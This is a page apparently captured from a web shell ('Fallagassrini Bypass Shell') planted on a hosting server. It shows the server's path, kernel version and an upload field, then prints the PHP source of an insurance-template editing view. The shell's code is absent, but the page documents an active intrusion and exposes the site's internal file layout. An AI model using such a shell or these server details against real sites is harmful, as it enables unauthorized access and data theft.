? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Master/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Master/edittemplate.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<link rel="stylesheet" href="<?=base_url()?>/assets/css/ui.all.css" type="text/css" />
<script type="text/javascript" src="<?=base_url()?>/assets/js/ui.core.js"></script>
<script type="text/javascript" src="<?=base_url()?>/assets/js/ui.sortable.js"></script>
<script type="text/javascript" src="<?=base_url()?>/assets/js/ui.draggable.js"></script>
<style type="text/css">
	#sortable { list-style-type: none; margin: 0; padding: 0; width: 100%; }
	#sortable li { margin: 0 3px 3px 3px; padding: 0.4em; padding-left: 1.5em;  height: 18px; cursor:  move; }
	#sortable li span { position: absolute; margin-left: -1.3em; }
        #sortable li label { cursor:  move; }
        #sortable label:hover {background: #FFFFED;
                           border:1px dotted #aaa;    }
        #draggable { cursor:  move;}

	</style>

	<script type="text/javascript">

	$(function() {
		$("#sortable").sortable();
		$("#sortable").disableSelection();
                $("#draggable").draggable();
		$("#draggable1").draggable();
	});
	</script>

<?php
/* 
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
foreach($viewinfo as $updata)
{
    $cover_id=$updata['cover_id'];
    $name=$updata['name'];
    $templatetype_id=$updata['template_type'];
    $template_id=$updata['id'];
   
}



  $cr=$this->mastermodel->get_data_srow('covers',$cover_id,'id');
  
  $sg=$this->mastermodel->get_data_srow('segment_insurances',$cr->segment_id,'id');
  $templatetype=$this->mastermodel->get_data_srow('template_type',$templatetype_id,'id');
  $templateform=$this->mastermodel->get_data('template_form',$template_id,'template_id');
  $templatetype_full=$this->mastermodel->getdatas('template_type');
?>
<script>

if(<?=$templatetype_id?>==3)
{
	document.getElementById('draggable1').style.display='block';
}

</script>
<div class="select-bar">
<label>
    <img src="<?=base_url()?>/assets/images/backbutton.png" title="Back" class="clickimage"  onclick="loadtemplate('<?=$_SESSION['searchoption']?>','<?=$_SESSION['pagenum']?>','<?=$_SESSION['searchtxt']?>')" alt="Back" align = "center" width="25" height="25"  /></label>

		  </div>



    <?php
       $attributes = array('id' => 'customForm');

    echo form_open('master/edittemplate',$attributes);?>
<fieldset>
    <legend>Update Template</legend>
    <ul>
        <li>
            <?php

        echo "
        <label for='branch'>Insurance Classification</label><select name='segment_id' id='segment_id' onchange=\"showcover()\">";



          echo "<option value='".$sg->id."'>".$sg->segment."</option>";

        foreach($segment as $seg)
        {
            if($seg['segment']!=$sg->segment)
          echo "<option value='".$seg['id']."'>".$seg['segment']."</option>";
        }



       // echo "<option value='". $list['id'] . "'>" . $list['segment'] . "</option>";

        echo "</select>";


         ?><span id="segment_idInfo" class="red_bold">*</span>
        </li>

         <li id="coverlist">
            <?php

        echo "
        <label for='branch'>Type Of Cover</label><select name='cover_id' id='cover_id' >";





          echo "<option value='".$cr->id."'>".$cr->cover."</option>";


        foreach($cover as $clist)
        {
            if($clist['cover']!=$cr->cover)
          echo "<option value='".$clist['id']."'>".$clist['cover']."</option>";
        }



       // echo "<option value='". $list['id'] . "'>" . $list['segment'] . "</option>";

        echo "</select>";

         
         ?>
        </li>
        <li>
         <?php

        echo "
        <label for='branch'>Type Of Template</label><select name='template_id' id='template_id' >";





          echo "<option value='".$templatetype->id."'>".$templatetype->type."</option>";


        foreach($templatetype_full as $tlist)
        {
            if($tlist['type']!=$templatetype->type)
          echo "<option value='".$tlist['id']."'>".$tlist['type']."</option>";
        }



       // echo "<option value='". $list['id'] . "'>" . $list['segment'] . "</option>";

        echo "</select>";
        ?>
        </li>
        <li> <label for="country">Template Name</label>
            <?php
             $data = array(
              'name'        => 'name',
              'id'          => 'name',
              'value'       => $name,
	      'style'	    =>'width:250px;'
              );
             echo form_input($data).form_error($data);
             echo form_hidden('templateid',$template_id);

             ?><span id="nameInfo" class="red_bold">*</span>
        </li>

        
    </ul>


</fieldset>
<fieldset>
    <legend> Template Contents</legend>
        <ul id="sortable" >
            <li   style="margin-left: 330px; height: 30px;"  >
                <label class="inlineEdit"> <h3>Header of the template</h3> </label>
        </li>
      
        <?php
        $counterText=1;
        $counterTextArea=1;
        $counterComboBox=1;
        foreach($templateform as $tform)
        {
            switch ($tform['fieldtype'])
            {
               case 'text':
               $idname="mytext".$counterText;
               
               echo "<li id='$idname'><input type='text' style='width:250px' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><input type='hidden' name='fieldtype[]' value='text'><input type='text'   value='$tform[value]' name='myInputs$counterText'><input type='hidden' name='textorder[]' value='$counterText'><img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('sortable','$idname')\" /></li>";
               $counterText++;
               break;

               case 'textarea':
               $idname="mytextarea".$counterTextArea;
               echo "<li id='$idname'><input type='text' style='width:250px' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><input type='hidden' name='fieldtype[]' value='textarea'><textarea  name='myTextAreas$counterTextArea'>$tform[value]</textarea><input type='hidden' name='areaorder[]' value='$counterTextArea'><img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('sortable','$idname')\" /></li>";
               $counterTextArea++;
               break;

               case 'combobox':
               $idname="mycombo".$counterComboBox;
              // $cmb=$this->mastermodel->get_data('combobox_value',$tform['id'],'template_form_id');


               echo "<li id='$idname'><input type='text' style='width:250px' id='labelname' name='labelname[]' class='edit' value='$tform[labelname]'><input type='hidden' name='fieldtype[]' value='combobox'><select id='myComboBox$idname' name='myComboBox$idname'>";

               if(!empty($tform['value']))
               {
                    $cmb=explode('~',$tform['value']);
                 for($k=0;$k<sizeof($cmb)-1;$k++)
                 {
                    echo "<option value=''>".$cmb[$k]."</option>";
                 }
               }
               echo "</select><img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('sortable','$idname')\"/><input type='hidden' name='comboorder[]' value='$counterComboBox'>";
                  if(!empty($tform['value']))
               {
                 echo "<input type='text' name='txtCombo$idname' id='txtCombo$idname'/> <input type='button' onclick=\"addCombo('txtCombo$idname','combotext$counterComboBox','myComboBox$idname')\"  alt='' class='clickimage' value='Create'/>";
               }
               echo "<input type='hidden' id='combotext$counterComboBox' value='".$tform['value']."' name='combotext$counterComboBox'/>";
                 $counterComboBox++;
               break;
	
		case 'suminsured':
                 $idname="mysuminsured";
                echo "<li id='$idname'><input type='text' style='width:250px' id='labelname' name='labelname[]'  class='edit' value='$tform[labelname]'>
                <input type='hidden' name='fieldtype[]' value='suminsured'>
                <input type='text' name='business' id='business' value='---' readonly><img class='clickimage' src='".base_url()."/assets/images/x-icon.png' onClick=\"removeElement('sortable','mysuminsured')\" /></li>
		</li>";
            break;
                
        case 'insured':
            echo '<li id="insured_txt">
            
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="insured">';
           
             $data = array(
              'name'        => 'insured',
              'id'          => 'insured',
              'value'       => '----',
	       'readonly'   =>'true'	
              );

             echo form_input($data).form_error($data);
             
             echo '<img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'insured_txt\')" /></li>';
            break;
        
        case 'business':
           echo ' <li id="business_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="business">
            <input type="text" name="business" id="business" value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'business_txt\')" /></li>';
            break;
       case 'premium':
           echo ' <li id="premium_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="premium">
            <input type="text" name="premium" id="premium"  value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'premium_txt\')" /></li>';
            break;
	case 'brokerage':
           echo ' <li id="brokerage_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="brokerage">
            <input type="text" name="brokerage" id="brokerage"  value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'brokerage_txt\')" /></li>';
            break;

        case 'policyfees':
           echo ' <li id="policyfees_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="policyfees">
            <input type="text" name="policyfees" id="policyfees"  value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'policyfees_txt\')" /></li>';
            break;

	case 'periodofinsurance':
           echo ' <li id="periodofinsurance_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="periodofinsurance">
            <input type="text" name="periodofinsurance" id="periodofinsurance"  value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'periodofinsurance_txt\')" /></li>';
            break;
	case 'rate':
           echo ' <li id="rate_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
            <input type="hidden" name="fieldtype[]" value="rate">
            <input type="text" name="rate" id="rate"  value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'rate_txt\')" /></li>';
            break;
	case 'policyno':
           echo ' <li id="policyno_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="policyno">
            <input type="text" name="policyno" id="policyno"  value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'policyno_txt\')" /></li>';
            break;
	case 'certificaterefno':
           echo ' <li id="certificaterefno_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="certificaterefno">
            <input type="text" name="certificaterefno" id="certificaterefno" value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'certificaterefno_txt\')" /></li>';
            break;
	
	case 'modeofconveyance':
           echo '<li id="modeofconveyance_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="modeofconveyance">
            <input type="text"  id="modeofconv" value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'modeofconveyance_txt\')" />
	 
	     </li>';
            break;
	
	case 'voyage':
           echo '<li id="voyage_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="voyage">
            <input type="text"  id="voyageid" value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'voyage_txt\')" />
	 
	     </li>';
            break;
	 case 'projectperiod':
           echo ' <li id="projectperiod_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="projectperiod">
		<input type="text" name="projectperiod" id="projectperiod" value="---" readonly>
	   
	   <img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'projectperiod_txt\')" /></td></li><li></li>';
            break;
	case 'cover':
           echo ' <li id="cover_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="cover">
            <input type="text" name="cover" id="cover" value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'cover_txt\')" /></li>';
            break;
	case 'policyperiod':
           echo ' <li id="policyperiod_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="policyperiod">
            <input type="text" name="policyperiod" id="policyperiod" value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'policyperiod_txt\')" /></li>';
            break;
	case 'certificateno':
           echo ' <li id="certificateno_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="certificateno">
            <input type="text" name="certificateno" id="certificateno" value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'certificateno_txt\')" /></li>';
            break;
	case 'estimatedsuminsured':
           echo ' <li id="estimatedsuminsured_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="estimatedsuminsured">
            <input type="text" name="estimatedsuminsured" id="estimatedsuminsured" value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'estimatedsuminsured_txt\')" /></li>';
            break;
	case 'estimatedturnover':
           echo ' <li id="estimatedturnover_txt">
            <input type="text" style="width:250px" id="labelname" name="labelname[]"  value="'.$tform['labelname'].'">
                <input type="hidden" name="fieldtype[]" value="estimatedturnover">
            <input type="text" name="estimatedturnover" id="estimatedturnover" value="---" readonly><img class=\'clickimage\' src="'.base_url().'/assets/images/x-icon.png" onClick="removeElement(\'sortable\',\'estimatedturnover_txt\')" /></li>';
            break;

            }
           
        }

        ?>

       

        </ul>
         <li>
               <button type="submit" id="submit" class="clickimage" onclick="return validateform('segment_id','cover_id','template_id','name');">Update</button>
         </li>

    </fieldset>
<?php echo form_close();?>

<div class="cssbox" id="draggable1" style="display:none">
        <div class="cssbox_head">
            <h2>Form Tools</h2></div>
        <div class="cssbox_body">

            <fieldset>
                <ul>
                    
                    <li onClick="addstaticfield('sortable','Mode Of Conveyance','modeofconveyance');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>M.f.Convey</span></li>
                    <li onClick="addstaticfield('sortable','Voyage','voyage');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Voyage</span></li>
                    <li onClick="addstaticfield('sortable','Certificate Reference No','certificaterefno');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Cert.Ref:No</span></li>
                  <li onClick="addstaticfield('sortable','Certificate No','certificateno');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Certificate NO</span></li>
		    <li onClick="addstaticfield('sortable','Project Period','projectperiod');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Project Period</span></li>
		    <li onClick="addstaticfield('sortable','Policy No','policyno');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Policy No</span></li>
                  <li onClick="addstaticfield('sortable','Cover','cover');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Cover</span></li>
		<li onClick="addstaticfield('sortable','Policy Period','policyperiod');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Policy Period</span></li>
		<li onClick="addstaticfield('sortable','Estimated Annual Sum Insured','estimatedsuminsured');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Est.Ann.S.Insured</span></li>
	       <li onClick="addstaticfield('sortable','Estimated Annual Turn Over','estimatedturnover');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Est.Ann.Turnover</span></li>
	        </ul>


            </fieldset>
	    
	    </div></div>

<div class="cssbox" id="draggable">
        <div class="cssbox_head">
            <h2>Form Tools</h2></div>
        <div class="cssbox_body">

            <fieldset>
                <ul>

                    <li onClick="addAllInputsedit('sortable','text','<?=$counterText?>');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Text Box</span></li>
                    <li onClick="addAllInputsedit('sortable','textarea','<?=$counterTextArea?>');"><img alt="" src="<?=base_url()?>/assets/images/textarea.png" align="left"><span>Text Area</span></li>
                    <li onClick="addAllInputsedit('sortable','combobox','<?=$counterComboBox?>');"><img alt="" src="<?=base_url()?>/assets/images/dropdown.png" align="left"><span>Drop Down</span></li>


                </ul>


            </fieldset>
	    
	    </div></div>

<div class="cssbox" id="draggable">
        <div class="cssbox_head">
            <h2>Form Tools</h2></div>
        <div class="cssbox_body">
            <fieldset>
                <ul>

           <li onClick="addstaticcomboedit('sortable','Conditions','<?=$counterComboBox?>');"><img alt="" src="<?=base_url()?>/assets/images/dropdown.png" align="left"><span>Conditions</span></li>
           <li onClick="addstaticcomboedit('sortable','Special conditions','<?=$counterComboBox?>');"><img alt="" src="<?=base_url()?>/assets/images/dropdown.png" align="left"><span>S.Conditions</span></li>
           <li onClick="addstaticcomboedit('sortable','Extension','<?=$counterComboBox?>');"><img alt="" src="<?=base_url()?>/assets/images/dropdown.png" align="left"><span>Extension</span></li>
           <li onClick="addstaticcomboedit('sortable','Exclusion','<?=$counterComboBox?>');"><img alt="" src="<?=base_url()?>/assets/images/dropdown.png" align="left"><span>Exclusion</span></li>
           <li onClick="addstaticcomboedit('sortable','Deductible','<?=$counterComboBox?>');"><img alt="" src="<?=base_url()?>/assets/images/dropdown.png" align="left"><span>Deductible</span></li>
           <li onClick="addstaticcomboedit('sortable','Excess','<?=$counterComboBox?>');"><img alt="" src="<?=base_url()?>/assets/images/dropdown.png" align="left"><span>Excess</span></li>
           <li onClick="addstaticcomboedit('sortable','Warranty','<?=$counterComboBox?>');"><img alt="" src="<?=base_url()?>/assets/images/dropdown.png" align="left"><span>Warranty</span></li>

                </ul>


            </fieldset>
	    
	    </div></div>
	    
	     <div class="cssbox" id="draggable">
        <div class="cssbox_head">
            <h2>Form Tools</h2></div>
        <div class="cssbox_body"><fieldset>
                <ul>
		    <li onClick="addstaticfield('sortable','Interest & Sum Insured','suminsured');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Interest &Sum Insured</span></li>
		    <li onClick="addstaticfield('sortable','Insured','insured');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Insured</span></li>
		    <li onClick="addstaticfield('sortable','Business','business');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Business</span></li>
		    <li onClick="addstaticfield('sortable','Premium','premium');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Premium</span></li>
		    <li onClick="addstaticfield('sortable','Brokerage','brokerage');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Brokerage</span></li>
		    <li onClick="addstaticfield('sortable','Policy Fees','policyfees');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Policy Fees</span></li>
                    <li onClick="addstaticfield('sortable','Rate','rate');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>Rate</span></li>
		     <li onClick="addstaticfield('sortable','Period Of Insurance','periodofinsurance');"><img alt="" src="<?=base_url()?>/assets/images/textbox.png" align="left"><span>P.Insurance</span></li>
		</ul>
	    </fieldset>


        </div>
    </div>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net